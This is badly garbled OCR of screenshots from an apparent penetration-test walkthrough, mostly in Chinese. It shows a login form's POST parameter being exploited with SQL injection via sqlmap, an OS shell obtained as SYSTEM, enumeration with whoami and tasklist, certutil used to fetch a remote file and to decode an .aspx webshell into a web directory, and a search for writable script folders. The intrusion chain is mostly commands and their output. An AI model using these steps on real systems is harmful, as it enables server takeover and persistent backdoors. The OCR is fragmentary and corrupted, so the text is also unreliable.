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—sql VEAN S, BN KR, S\ webshell
WHH bR %=

W 90VE
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ar
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Forward Drop Action Open Browser

etty m \n  Actions v

POST / HTTESL.1

*E4; rv:101.0) Gecko/20100101 Firefox/101.0

User-Agent: Mozilla/5.0 (Windows NT 10.0;

an/sml; g=0.9, image/avif, image/webp, */

4 Accept: text/html, application/xhtml+

:q=0.8, zh-TW: g ;q=0.5,en-U8;q=0.3, en; q=0.C2

deflate

5 Accept-language: zh

t-Encoding: g
Content-Type: application/x-www-form-urlencoded

Length:

Content

Connection: close

Upgrade-Insecure-Requesats: 1

[ ] J ; = UNION query (NUL ) columns
POST parameter 'txtusernamel' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

got a 382 redire:

[y/N]

cedure ' [s For ‘ating system command execution
To quit or

EE PR N system



os—-shell> whoami
do you want to retrieve the command standard output?

command standard output: 'nt authority\system®
os—-shell>

BRI, BHIARK

[ 1 | ] retrieved:
command standard output:

Windows IP B E

LIA M ERISE &

EEERER DNS

os-shell> tasklist
do you want to retrieve the command standard output? [Y/n/al

] retrieved:
] retrieved:
] retrieved:
retrieved: 'System e Process Services
] t i: 'Syst Idle P S
retrieved: stem Services
] ret d: 'Syst 5
] retrieved: 'smss.exe Services
ieved: 'csrss.exe B Servi
] retrieved: 'csrss Services
] retrieved: 'csrss.exe Console
i : 'wininit.ex rvi
] retrieved: 'wininit.exe Services
retrieved: 'winlogon.exe onsole
] t d: ? 1 C 1
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tasklist /svc

conhost. exe 0186 Services a 4,624 K +
tasklist. exe 6708 Services 1} 3,936 K
tazklist. exs 7888 Services g 22,960 K
TrustedInstaller. exe T464 Services a 40,088 K
HipsDaemon. exe 2708 Services 1} 1609, 696 K
usysdiag. sxe 5964 Services 0 1,148 K
php-czi. exe 3266 Services 0 15,684 K
chrome. exe 10640 2 113,628 K
chrome. exe 9506 2 6,032 K
chrome. exe 4856 2 25,052 K
chrome. exe 11704 2 14,792 ¥
chrome. exe 2204 2 72,600 K
chrome. exe 5856 2 48,300 K
chrome. exe G036 2 34,884 K
taskens. exe BE00 Services 0 6,244 K
chrome. exe 6928 2 25,928 K
wiwp. exe 11776 Services 1} 63,328 K
php-czi. exe 11588 Services 0 15,424 K
php-czi. exe 10896 Services 0 15,348 K
php-czi. exe 5940 Services i 16,388 K
cnd. exe 7784 Services a 3,348 K
conhost. exe 7536 Services a 3,476 K -
tasklist. exe 4072 Services i} 6, 836 K e

(=8 ]
usysdiag.exe <=> &k
hipstray.exe <=> &k

hipsdaemon.exe <=> W&
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[ ] retrieved: 'xxxx Bl xwxxr

[ ] retrieved: 'CertUtil: -URLCache
[ ] retrieved: 'CertUtil: %
andard output:

l. eHkn
CertUtil: —-URLCache : Bx80072efd (WIN32: 12029)
CertUtil:

os-shell> ping baidu.com
do you want to retrieve the command standard output? [Y/n/al

e =5 A webshell
A R4

Je R B BRI js
slider.min.js 34T (L H 5%
SR SRELA T R AR

dir d:\ /s /b |find “slider.min.js”

command standard output: 'O’
os-shell>|dir d:\ /s /b |find "slider.min.js"
do you want to retrieve the command standard output? [Y/n/a]

] retrieved: cripts\\slider\\slid...
] retrieved: eeue7\\Js\\slider\\s...

1T ] retrieved: eede7\\Js\\swfupload. ..
command standard output:

12] [
12] [

‘\slider.min. js
der\slider.min. js
‘upload\slider\slider.min. js
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do you want to retrieve the command standard output? [Y/n/a]

] retrie

RJE certutil A3 —X, &5 webshell

1.1 ] ;L L;ng winnoﬁs- .
ell> certutil -f -decode
oveuu.aspx"
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] [
313] T
ommand standard output:

43
H sy
rtUtil: -decode
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BEXED ST EEUEE TEHER ARSE Elshel  MEREE AFURE FOTE rENE 852 EREES

FEEE:

COMPUTERNAME :WIN-3NPAOBNSVFU

APPDATA C-\Windows'system32'\config'systemprofile\AppData'Roaming
LOCALAPPDATA:C:\Windows'system32\config'systemprofile\AppData'Local
3SModulePath-C-\Windows'system 32\ WindowsPowerShell'v1 0'Modules\

FEMEANTE win T E SN A A

findstr /msi /c:"saveas" *.*
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